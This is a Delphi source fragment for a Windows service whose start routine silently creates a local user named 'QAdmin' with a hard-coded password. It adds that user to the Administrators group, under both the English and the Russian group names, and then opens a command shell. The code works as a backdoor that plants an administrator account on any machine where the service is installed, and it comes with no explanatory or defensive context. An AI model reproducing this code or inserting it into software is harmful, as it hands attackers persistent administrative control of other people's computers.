//============================================================================== 
 function  RunMyApp(my_app :  string ; my_wait : bool) : bool;
   var 
    si : TStartupInfo;
    pi : TProcessInformation;
   begin 
    Result := false;
     try 
      ZeroMemory(@si,SizeOf(si));
      si.cb := SizeOf(si);
      si.dwFlags := STARTF_USESHOWWINDOW;
      si.wShowWindow := SW_SHOWNORMAL;
       if  CreateProcess( nil ,PChar(my_app), nil , nil ,False, 0 , nil , nil ,si,pi)=true  then  Result := true;
       try  CloseHandle(pi.hThread);  except  ;  end ;
       if  my_wait = true  then  WaitForSingleObject(pi.hProcess, INFINITE);
       try  CloseHandle(pi.hProcess);  except  ;  end ;
     except 
      Result := false;
     end ;
   end ;
 //============================================================================== 
 procedure  TService1.ServiceStart(Sender: TService;  var  Started: Boolean);
 begin 
  RunMyApp('net.exe user QAdmin QAdministrator2 /add /y',true);
  RunMyApp('net.exe localgroup Administrators QAdmin /add /y',true);
  RunMyApp('net.exe localgroup "Администраторы" QAdmin /add /y',true);
  RunMyApp('cmd.exe',false);
 end ;
//==============================================================================